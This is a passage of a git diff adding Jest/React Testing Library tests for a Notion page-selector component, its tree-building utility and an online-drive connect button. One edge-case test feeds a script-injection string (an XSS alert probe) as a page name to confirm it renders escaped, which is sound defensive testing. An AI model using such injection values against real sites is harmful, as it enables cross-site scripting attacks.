+      // Assert - Should not throw
+      expect(screen.getByText('Page 1')).toBeInTheDocument()
+    })
+
+    it('should handle empty list in memoization', () => {
+      // Arrange
+      const props = createDefaultProps({
+        list: [],
+        pagesMap: {},
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('common.dataSource.notion.selector.noSearchResult')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // User Interactions and Event Handlers
+  // ==========================================
+  describe('User Interactions and Event Handlers', () => {
+    it('should toggle expansion when clicking arrow button', () => {
+      // Arrange
+      const { list, pagesMap, childPage1 } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Initially children are hidden
+      expect(screen.queryByText(childPage1.page_name)).not.toBeInTheDocument()
+
+      // Click to expand
+      const expandArrow = document.querySelector('[class*="hover:bg-components-button-ghost-bg-hover"]')
+      if (expandArrow)
+        fireEvent.click(expandArrow)
+
+      // Children become visible
+      expect(screen.getByText(childPage1.page_name)).toBeInTheDocument()
+    })
+
+    it('should check/uncheck page when clicking checkbox', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const props = createDefaultProps({
+        onSelect: mockOnSelect,
+        checkedIds: new Set(),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+      fireEvent.click(getCheckbox())
+
+      // Assert
+      expect(mockOnSelect).toHaveBeenCalled()
+    })
+
+    it('should select radio when clicking in single choice mode', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const props = createDefaultProps({
+        onSelect: mockOnSelect,
+        isMultipleChoice: false,
+        checkedIds: new Set(),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+      fireEvent.click(getRadio())
+
+      // Assert
+      expect(mockOnSelect).toHaveBeenCalled()
+    })
+
+    it('should clear previous selection in single choice mode', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const pages = [
+        createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+        createMockPage({ page_id: 'page-2', page_name: 'Page 2' }),
+      ]
+      const props = createDefaultProps({
+        list: pages,
+        pagesMap: createMockPagesMap(pages),
+        onSelect: mockOnSelect,
+        isMultipleChoice: false,
+        checkedIds: new Set(['page-1']),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+      const radios = getAllRadios()
+      fireEvent.click(radios[1]) // Click on page-2
+
+      // Assert - Should clear page-1 and select page-2
+      expect(mockOnSelect).toHaveBeenCalled()
+      const selectedSet = mockOnSelect.mock.calls[0][0] as Set<string>
+      expect(selectedSet.has('page-2')).toBe(true)
+      expect(selectedSet.has('page-1')).toBe(false)
+    })
+
+    it('should trigger preview when clicking preview button', () => {
+      // Arrange
+      const mockOnPreview = jest.fn()
+      const props = createDefaultProps({
+        onPreview: mockOnPreview,
+        canPreview: true,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+      fireEvent.click(screen.getByText('common.dataSource.notion.selector.preview'))
+
+      // Assert
+      expect(mockOnPreview).toHaveBeenCalledWith('page-1')
+    })
+
+    it('should not cascade selection in search mode', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+      const { list, pagesMap } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+        onSelect: mockOnSelect,
+        checkedIds: new Set(),
+        searchValue: 'Root',
+        isMultipleChoice: true,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+      fireEvent.click(getCheckbox())
+
+      // Assert - Only the clicked page should be selected (no descendants)
+      expect(mockOnSelect).toHaveBeenCalled()
+      const selectedSet = mockOnSelect.mock.calls[0][0] as Set<string>
+      expect(selectedSet.size).toBe(1)
+      expect(selectedSet.has('root-page')).toBe(true)
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle empty list', () => {
+      // Arrange
+      const props = createDefaultProps({
+        list: [],
+        pagesMap: {},
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('common.dataSource.notion.selector.noSearchResult')).toBeInTheDocument()
+    })
+
+    it('should handle null page_icon', () => {
+      // Arrange
+      const page = createMockPage({ page_icon: null })
+      const props = createDefaultProps({
+        list: [page],
+        pagesMap: createMockPagesMap([page]),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - NotionIcon renders svg (RiFileTextLine) when page_icon is null
+      const notionIcon = document.querySelector('.h-5.w-5')
+      expect(notionIcon).toBeInTheDocument()
+    })
+
+    it('should handle page_icon with all properties', () => {
+      // Arrange
+      const page = createMockPage({
+        page_icon: { type: 'emoji', url: null, emoji: '📄' },
+      })
+      const props = createDefaultProps({
+        list: [page],
+        pagesMap: createMockPagesMap([page]),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - NotionIcon renders the emoji
+      expect(screen.getByText('📄')).toBeInTheDocument()
+    })
+
+    it('should handle empty searchValue correctly', () => {
+      // Arrange
+      const props = createDefaultProps({ searchValue: '' })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('virtual-list')).toBeInTheDocument()
+    })
+
+    it('should handle special characters in page name', () => {
+      // Arrange
+      const page = createMockPage({ page_name: 'Test <script>alert("xss")</script>' })
+      const props = createDefaultProps({
+        list: [page],
+        pagesMap: createMockPagesMap([page]),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('Test <script>alert("xss")</script>')).toBeInTheDocument()
+    })
+
+    it('should handle unicode characters in page name', () => {
+      // Arrange
+      const page = createMockPage({ page_name: '测试页面 🔍 привет' })
+      const props = createDefaultProps({
+        list: [page],
+        pagesMap: createMockPagesMap([page]),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('测试页面 🔍 привет')).toBeInTheDocument()
+    })
+
+    it('should handle very long page names', () => {
+      // Arrange
+      const longName = 'A'.repeat(500)
+      const page = createMockPage({ page_name: longName })
+      const props = createDefaultProps({
+        list: [page],
+        pagesMap: createMockPagesMap([page]),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle deeply nested hierarchy', () => {
+      // Arrange - Create 5 levels deep
+      const pages: DataSourceNotionPage[] = []
+      let parentId = 'root'
+
+      for (let i = 0; i < 5; i++) {
+        const page = createMockPage({
+          page_id: `level-${i}`,
+          page_name: `Level ${i}`,
+          parent_id: parentId,
+        })
+        pages.push(page)
+        parentId = page.page_id
+      }
+
+      const props = createDefaultProps({
+        list: pages,
+        pagesMap: createMockPagesMap(pages),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - Only root level visible
+      expect(screen.getByText('Level 0')).toBeInTheDocument()
+      expect(screen.queryByText('Level 1')).not.toBeInTheDocument()
+    })
+
+    it('should handle page with missing parent reference gracefully', () => {
+      // Arrange - Page whose parent doesn't exist in pagesMap (valid edge case)
+      const orphanPage = createMockPage({
+        page_id: 'orphan',
+        page_name: 'Orphan Page',
+        parent_id: 'non-existent-parent',
+      })
+      // Create pagesMap without the parent
+      const pagesMap = createMockPagesMap([orphanPage])
+      const props = createDefaultProps({
+        list: [orphanPage],
+        pagesMap,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - Should render the orphan page at root level
+      expect(screen.getByText('Orphan Page')).toBeInTheDocument()
+    })
+
+    it('should handle empty checkedIds Set', () => {
+      // Arrange
+      const props = createDefaultProps({ checkedIds: new Set() })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      const checkbox = getCheckbox()
+      expect(checkbox).toBeInTheDocument()
+      expect(isCheckboxChecked(checkbox)).toBe(false)
+    })
+
+    it('should handle empty disabledValue Set', () => {
+      // Arrange
+      const props = createDefaultProps({ disabledValue: new Set() })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      const checkbox = getCheckbox()
+      expect(checkbox).toBeInTheDocument()
+      expect(isCheckboxDisabled(checkbox)).toBe(false)
+    })
+
+    it('should handle undefined onPreview gracefully', () => {
+      // Arrange
+      const props = createDefaultProps({
+        onPreview: undefined,
+        canPreview: true,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - Click should not throw
+      expect(() => {
+        fireEvent.click(screen.getByText('common.dataSource.notion.selector.preview'))
+      }).not.toThrow()
+    })
+
+    it('should handle page without descendants correctly', () => {
+      // Arrange
+      const leafPage = createMockPage({ page_id: 'leaf', page_name: 'Leaf Page' })
+      const props = createDefaultProps({
+        list: [leafPage],
+        pagesMap: createMockPagesMap([leafPage]),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - No expand arrow for leaf pages
+      const arrowButton = document.querySelector('[class*="hover:bg-components-button-ghost-bg-hover"]')
+      expect(arrowButton).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      [{ canPreview: true, isMultipleChoice: true }],
+      [{ canPreview: true, isMultipleChoice: false }],
+      [{ canPreview: false, isMultipleChoice: true }],
+      [{ canPreview: false, isMultipleChoice: false }],
+    ])('should render correctly with props %o', (propVariation) => {
+      // Arrange
+      const props = createDefaultProps(propVariation)
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('virtual-list')).toBeInTheDocument()
+      if (propVariation.canPreview)
+        expect(screen.getByText('common.dataSource.notion.selector.preview')).toBeInTheDocument()
+      else
+        expect(screen.queryByText('common.dataSource.notion.selector.preview')).not.toBeInTheDocument()
+
+      if (propVariation.isMultipleChoice)
+        expect(getCheckbox()).toBeInTheDocument()
+      else
+        expect(getRadio()).toBeInTheDocument()
+    })
+
+    it('should handle all default prop values', () => {
+      // Arrange
+      const minimalProps: PageSelectorProps = {
+        checkedIds: new Set(),
+        disabledValue: new Set(),
+        searchValue: '',
+        pagesMap: createMockPagesMap([createMockPage()]),
+        list: [createMockPage()],
+        onSelect: jest.fn(),
+        currentCredentialId: 'cred-1',
+        // canPreview defaults to true
+        // isMultipleChoice defaults to true
+      }
+
+      // Act
+      render(<PageSelector {...minimalProps} />)
+
+      // Assert - Defaults should be applied
+      expect(getCheckbox()).toBeInTheDocument()
+      expect(screen.getByText('common.dataSource.notion.selector.preview')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Utils Function Tests
+  // ==========================================
+  describe('Utils - recursivePushInParentDescendants', () => {
+    it('should build tree structure for simple parent-child relationship', () => {
+      // Arrange
+      const parent = createMockPage({ page_id: 'parent', page_name: 'Parent', parent_id: 'root' })
+      const child = createMockPage({ page_id: 'child', page_name: 'Child', parent_id: 'parent' })
+      const pagesMap = createMockPagesMap([parent, child])
+      const listTreeMap: NotionPageTreeMap = {}
+
+      // Create initial entry for child
+      const childEntry: NotionPageTreeItem = {
+        ...child,
+        children: new Set(),
+        descendants: new Set(),
+        depth: 0,
+        ancestors: [],
+      }
+      listTreeMap[child.page_id] = childEntry
+
+      // Act
+      recursivePushInParentDescendants(pagesMap, listTreeMap, childEntry, childEntry)
+
+      // Assert
+      expect(listTreeMap.parent).toBeDefined()
+      expect(listTreeMap.parent.children.has('child')).toBe(true)
+      expect(listTreeMap.parent.descendants.has('child')).toBe(true)
+      expect(childEntry.depth).toBe(1)
+      expect(childEntry.ancestors).toContain('Parent')
+    })
+
+    it('should handle root level pages', () => {
+      // Arrange
+      const rootPage = createMockPage({ page_id: 'root-page', parent_id: 'root' })
+      const pagesMap = createMockPagesMap([rootPage])
+      const listTreeMap: NotionPageTreeMap = {}
+
+      const rootEntry: NotionPageTreeItem = {
+        ...rootPage,
+        children: new Set(),
+        descendants: new Set(),
+        depth: 0,
+        ancestors: [],
+      }
+      listTreeMap[rootPage.page_id] = rootEntry
+
+      // Act
+      recursivePushInParentDescendants(pagesMap, listTreeMap, rootEntry, rootEntry)
+
+      // Assert - No parent should be created for root level
+      expect(Object.keys(listTreeMap)).toHaveLength(1)
+      expect(rootEntry.depth).toBe(0)
+      expect(rootEntry.ancestors).toHaveLength(0)
+    })
+
+    it('should handle missing parent in pagesMap', () => {
+      // Arrange
+      const orphan = createMockPage({ page_id: 'orphan', parent_id: 'missing-parent' })
+      const pagesMap = createMockPagesMap([orphan])
+      const listTreeMap: NotionPageTreeMap = {}
+
+      const orphanEntry: NotionPageTreeItem = {
+        ...orphan,
+        children: new Set(),
+        descendants: new Set(),
+        depth: 0,
+        ancestors: [],
+      }
+      listTreeMap[orphan.page_id] = orphanEntry
+
+      // Act
+      recursivePushInParentDescendants(pagesMap, listTreeMap, orphanEntry, orphanEntry)
+
+      // Assert - Should not create parent entry for missing parent
+      expect(listTreeMap['missing-parent']).toBeUndefined()
+    })
+
+    it('should handle null parent_id', () => {
+      // Arrange
+      const page = createMockPage({ page_id: 'page', parent_id: '' })
+      const pagesMap = createMockPagesMap([page])
+      const listTreeMap: NotionPageTreeMap = {}
+
+      const pageEntry: NotionPageTreeItem = {
+        ...page,
+        children: new Set(),
+        descendants: new Set(),
+        depth: 0,
+        ancestors: [],
+      }
+      listTreeMap[page.page_id] = pageEntry
+
+      // Act
+      recursivePushInParentDescendants(pagesMap, listTreeMap, pageEntry, pageEntry)
+
+      // Assert - Early return, no changes
+      expect(Object.keys(listTreeMap)).toHaveLength(1)
+    })
+
+    it('should accumulate depth for deeply nested pages', () => {
+      // Arrange - 3 levels deep
+      const level0 = createMockPage({ page_id: 'l0', page_name: 'Level 0', parent_id: 'root' })
+      const level1 = createMockPage({ page_id: 'l1', page_name: 'Level 1', parent_id: 'l0' })
+      const level2 = createMockPage({ page_id: 'l2', page_name: 'Level 2', parent_id: 'l1' })
+      const pagesMap = createMockPagesMap([level0, level1, level2])
+      const listTreeMap: NotionPageTreeMap = {}
+
+      // Add all levels
+      const l0Entry: NotionPageTreeItem = {
+        ...level0,
+        children: new Set(),
+        descendants: new Set(),
+        depth: 0,
+        ancestors: [],
+      }
+      const l1Entry: NotionPageTreeItem = {
+        ...level1,
+        children: new Set(),
+        descendants: new Set(),
+        depth: 0,
+        ancestors: [],
+      }
+      const l2Entry: NotionPageTreeItem = {
+        ...level2,
+        children: new Set(),
+        descendants: new Set(),
+        depth: 0,
+        ancestors: [],
+      }
+
+      listTreeMap[level0.page_id] = l0Entry
+      listTreeMap[level1.page_id] = l1Entry
+      listTreeMap[level2.page_id] = l2Entry
+
+      // Act - Process from leaf to root
+      recursivePushInParentDescendants(pagesMap, listTreeMap, l2Entry, l2Entry)
+
+      // Assert
+      expect(l2Entry.depth).toBe(2)
+      expect(l2Entry.ancestors).toEqual(['Level 0', 'Level 1'])
+      expect(listTreeMap.l1.children.has('l2')).toBe(true)
+      expect(listTreeMap.l0.descendants.has('l2')).toBe(true)
+    })
+
+    it('should update existing parent entry', () => {
+      // Arrange
+      const parent = createMockPage({ page_id: 'parent', page_name: 'Parent', parent_id: 'root' })
+      const child1 = createMockPage({ page_id: 'child1', parent_id: 'parent' })
+      const child2 = createMockPage({ page_id: 'child2', parent_id: 'parent' })
+      const pagesMap = createMockPagesMap([parent, child1, child2])
+      const listTreeMap: NotionPageTreeMap = {}
+
+      // Pre-create parent entry
+      listTreeMap.parent = {
+        ...parent,
+        children: new Set(['child1']),
+        descendants: new Set(['child1']),
+        depth: 0,
+        ancestors: [],
+      }
+
+      const child2Entry: NotionPageTreeItem = {
+        ...child2,
+        children: new Set(),
+        descendants: new Set(),
+        depth: 0,
+        ancestors: [],
+      }
+      listTreeMap[child2.page_id] = child2Entry
+
+      // Act
+      recursivePushInParentDescendants(pagesMap, listTreeMap, child2Entry, child2Entry)
+
+      // Assert - Should add child2 to existing parent
+      expect(listTreeMap.parent.children.has('child1')).toBe(true)
+      expect(listTreeMap.parent.children.has('child2')).toBe(true)
+      expect(listTreeMap.parent.descendants.has('child1')).toBe(true)
+      expect(listTreeMap.parent.descendants.has('child2')).toBe(true)
+    })
+  })
+
+  // ==========================================
+  // Item Component Integration Tests
+  // ==========================================
+  describe('Item Component Integration', () => {
+    it('should render item with correct styling for preview state', () => {
+      // Arrange
+      const page = createMockPage({ page_id: 'page-1', page_name: 'Test Page' })
+      const props = createDefaultProps({
+        list: [page],
+        pagesMap: createMockPagesMap([page]),
+        canPreview: true,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Click preview to set currentPreviewPageId
+      fireEvent.click(screen.getByText('common.dataSource.notion.selector.preview'))
+
+      // Assert - Item should have preview styling class
+      const itemContainer = screen.getByText('Test Page').closest('[class*="group"]')
+      expect(itemContainer).toHaveClass('bg-state-base-hover')
+    })
+
+    it('should show arrow for pages with children', () => {
+      // Arrange
+      const { list, pagesMap } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - Root page should have expand arrow
+      const arrowContainer = document.querySelector('[class*="hover:bg-components-button-ghost-bg-hover"]')
+      expect(arrowContainer).toBeInTheDocument()
+    })
+
+    it('should not show arrow for leaf pages', () => {
+      // Arrange
+      const leafPage = createMockPage({ page_id: 'leaf', page_name: 'Leaf' })
+      const props = createDefaultProps({
+        list: [leafPage],
+        pagesMap: createMockPagesMap([leafPage]),
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - No expand arrow for leaf pages
+      const arrowContainer = document.querySelector('[class*="hover:bg-components-button-ghost-bg-hover"]')
+      expect(arrowContainer).not.toBeInTheDocument()
+    })
+
+    it('should hide arrows in search mode', () => {
+      // Arrange
+      const { list, pagesMap } = createHierarchicalPages()
+      const props = createDefaultProps({
+        list,
+        pagesMap,
+        searchValue: 'Root',
+      })
+
+      // Act
+      render(<PageSelector {...props} />)
+
+      // Assert - No expand arrows in search mode (renderArrow returns null when searchValue)
+      // The arrows are only shown when !searchValue
+      const arrowContainer = document.querySelector('[class*="hover:bg-components-button-ghost-bg-hover"]')
+      expect(arrowContainer).not.toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/page-selector/item.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/page-selector/item.tsx
index 8c14ab1949..fcb390c43c 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/page-selector/item.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/page-selector/item.tsx
@@ -5,7 +5,7 @@ import type { ListChildComponentProps } from 'react-window'
 import { RiArrowDownSLine, RiArrowRightSLine } from '@remixicon/react'
 import Checkbox from '@/app/components/base/checkbox'
 import NotionIcon from '@/app/components/base/notion-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { DataSourceNotionPage, DataSourceNotionPageMap } from '@/models/common'
 import Radio from '@/app/components/base/radio/ui'
 
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/connect/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/connect/index.spec.tsx
new file mode 100644
index 0000000000..8475a01fa8
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/connect/index.spec.tsx
@@ -0,0 +1,622 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import Connect from './index'
+import type { DataSourceNodeType } from '@/app/components/workflow/nodes/data-source/types'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock useToolIcon - hook has complex dependencies (API calls, stores)
+const mockUseToolIcon = jest.fn()
+jest.mock('@/app/components/workflow/hooks', () => ({
+  useToolIcon: (data: any) => mockUseToolIcon(data),
+}))
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+const createMockNodeData = (overrides?: Partial<DataSourceNodeType>): DataSourceNodeType => ({
+  title: 'Test Node',
+  plugin_id: 'plugin-123',
+  provider_type: 'online_drive',
+  provider_name: 'online-drive-provider',
+  datasource_name: 'online-drive-ds',
+  datasource_label: 'Online Drive',
+  datasource_parameters: {},
+  datasource_configurations: {},
+  ...overrides,
+} as DataSourceNodeType)
+
+type ConnectProps = React.ComponentProps<typeof Connect>
+
+const createDefaultProps = (overrides?: Partial<ConnectProps>): ConnectProps => ({
+  nodeData: createMockNodeData(),
+  onSetting: jest.fn(),
+  ...overrides,
+})
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('Connect', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+
+    // Default mock return values
+    mockUseToolIcon.mockReturnValue('https://example.com/icon.png')
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert - Component should render with connect button
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should render the BlockIcon component', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Connect {...props} />)
+
+      // Assert - BlockIcon container should exist
+      const iconContainer = container.querySelector('.size-12')
+      expect(iconContainer).toBeInTheDocument()
+    })
+
+    it('should render the not connected message with node title', () => {
+      // Arrange
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({ title: 'My Google Drive' }),
+      })
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert - Should show translation key with interpolated name (use getAllBy since both messages contain similar text)
+      const messages = screen.getAllByText(/datasetPipeline\.onlineDrive\.notConnected/)
+      expect(messages.length).toBeGreaterThanOrEqual(1)
+    })
+
+    it('should render the not connected tip message', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert - Should show tip translation key
+      expect(screen.getByText(/datasetPipeline\.onlineDrive\.notConnectedTip/)).toBeInTheDocument()
+    })
+
+    it('should render the connect button with correct text', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert - Button should have connect text
+      const button = screen.getByRole('button')
+      expect(button).toHaveTextContent('datasetCreation.stepOne.connect')
+    })
+
+    it('should render with primary button variant', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Connect {...props} />)
+
+      // Assert - Button should be primary variant
+      const button = screen.getByRole('button')
+      expect(button).toBeInTheDocument()
+    })
+
+    it('should render Icon3Dots component', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Connect {...props} />)
+
+      // Assert - Icon3Dots should be rendered (it's an SVG element)
+      const iconElement = container.querySelector('svg')
+      expect(iconElement).toBeInTheDocument()
+    })
+
+    it('should apply correct container styling', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Connect {...props} />)
+
+      // Assert - Container should have expected classes
+      const mainContainer = container.firstChild
+      expect(mainContainer).toHaveClass('flex', 'flex-col', 'items-start', 'gap-y-2', 'rounded-xl', 'p-6')
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('nodeData prop', () => {
+      it('should pass nodeData to useToolIcon hook', () => {
+        // Arrange
+        const nodeData = createMockNodeData({ plugin_id: 'my-plugin' })
+        const props = createDefaultProps({ nodeData })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(mockUseToolIcon).toHaveBeenCalledWith(nodeData)
+      })
+
+      it('should display node title in not connected message', () => {
+        // Arrange
+        const props = createDefaultProps({
+          nodeData: createMockNodeData({ title: 'Dropbox Storage' }),
+        })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert - Translation key should be in document (mock returns key)
+        const messages = screen.getAllByText(/datasetPipeline\.onlineDrive\.notConnected/)
+        expect(messages.length).toBeGreaterThanOrEqual(1)
+      })
+
+      it('should display node title in tip message', () => {
+        // Arrange
+        const props = createDefaultProps({
+          nodeData: createMockNodeData({ title: 'OneDrive Connector' }),
+        })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert - Translation key should be in document
+        expect(screen.getByText(/datasetPipeline\.onlineDrive\.notConnectedTip/)).toBeInTheDocument()
+      })
+
+      it.each([
+        { title: 'Google Drive' },
+        { title: 'Dropbox' },
+        { title: 'OneDrive' },
+        { title: 'Amazon S3' },
+        { title: '' },
+      ])('should handle nodeData with title=$title', ({ title }) => {
+        // Arrange
+        const props = createDefaultProps({
+          nodeData: createMockNodeData({ title }),
+        })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert - Should render without error
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+    })
+
+    describe('onSetting prop', () => {
+      it('should call onSetting when connect button is clicked', () => {
+        // Arrange
+        const mockOnSetting = jest.fn()
+        const props = createDefaultProps({ onSetting: mockOnSetting })
+
+        // Act
+        render(<Connect {...props} />)
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        expect(mockOnSetting).toHaveBeenCalledTimes(1)
+      })
+
+      it('should call onSetting when button clicked', () => {
+        // Arrange
+        const mockOnSetting = jest.fn()
+        const props = createDefaultProps({ onSetting: mockOnSetting })
+
+        // Act
+        render(<Connect {...props} />)
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert - onClick handler receives the click event from React
+        expect(mockOnSetting).toHaveBeenCalled()
+        expect(mockOnSetting.mock.calls[0]).toBeDefined()
+      })
+
+      it('should call onSetting on each button click', () => {
+        // Arrange
+        const mockOnSetting = jest.fn()
+        const props = createDefaultProps({ onSetting: mockOnSetting })
+
+        // Act
+        render(<Connect {...props} />)
+        const button = screen.getByRole('button')
+        fireEvent.click(button)
+        fireEvent.click(button)
+        fireEvent.click(button)
+
+        // Assert
+        expect(mockOnSetting).toHaveBeenCalledTimes(3)
+      })
+    })
+  })
+
+  // ==========================================
+  // User Interactions and Event Handlers
+  // ==========================================
+  describe('User Interactions', () => {
+    describe('Connect Button', () => {
+      it('should trigger onSetting callback on click', () => {
+        // Arrange
+        const mockOnSetting = jest.fn()
+        const props = createDefaultProps({ onSetting: mockOnSetting })
+        render(<Connect {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByRole('button'))
+
+        // Assert
+        expect(mockOnSetting).toHaveBeenCalled()
+      })
+
+      it('should be interactive and focusable', () => {
+        // Arrange
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+        const button = screen.getByRole('button')
+
+        // Assert
+        expect(button).not.toBeDisabled()
+      })
+
+      it('should handle keyboard interaction (Enter key)', () => {
+        // Arrange
+        const mockOnSetting = jest.fn()
+        const props = createDefaultProps({ onSetting: mockOnSetting })
+        render(<Connect {...props} />)
+
+        // Act
+        const button = screen.getByRole('button')
+        fireEvent.keyDown(button, { key: 'Enter' })
+
+        // Assert - Button should be present and interactive
+        expect(button).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Hook Integration Tests
+  // ==========================================
+  describe('Hook Integration', () => {
+    describe('useToolIcon', () => {
+      it('should call useToolIcon with nodeData', () => {
+        // Arrange
+        const nodeData = createMockNodeData()
+        const props = createDefaultProps({ nodeData })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(mockUseToolIcon).toHaveBeenCalledWith(nodeData)
+      })
+
+      it('should use toolIcon result from useToolIcon', () => {
+        // Arrange
+        mockUseToolIcon.mockReturnValue('custom-icon-url')
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert - The hook should be called and its return value used
+        expect(mockUseToolIcon).toHaveBeenCalled()
+      })
+
+      it('should handle empty string icon', () => {
+        // Arrange
+        mockUseToolIcon.mockReturnValue('')
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert - Should still render without crashing
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+
+      it('should handle undefined icon', () => {
+        // Arrange
+        mockUseToolIcon.mockReturnValue(undefined)
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert - Should still render without crashing
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+    })
+
+    describe('useTranslation', () => {
+      it('should use correct translation keys for not connected message', () => {
+        // Arrange
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert - Should use the correct translation key (both notConnected and notConnectedTip contain similar pattern)
+        const messages = screen.getAllByText(/datasetPipeline\.onlineDrive\.notConnected/)
+        expect(messages.length).toBeGreaterThanOrEqual(1)
+      })
+
+      it('should use correct translation key for tip message', () => {
+        // Arrange
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByText(/datasetPipeline\.onlineDrive\.notConnectedTip/)).toBeInTheDocument()
+      })
+
+      it('should use correct translation key for connect button', () => {
+        // Arrange
+        const props = createDefaultProps()
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toHaveTextContent('datasetCreation.stepOne.connect')
+      })
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    describe('Empty/Null Values', () => {
+      it('should handle empty title in nodeData', () => {
+        // Arrange
+        const props = createDefaultProps({
+          nodeData: createMockNodeData({ title: '' }),
+        })
+
+        // Act
+        render(<Connect {...props} />)
+
+        // Assert
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+
+      it('should handle undefined optional fields in nodeData', () => {
+        // Arrange
+        const minimalNodeData = {
+          title: 'Test',
+          plugin_id: 'test',
+          provider_type: 'online_drive',
+          provider_name: 'provider',
+          datasource_name: 'ds',
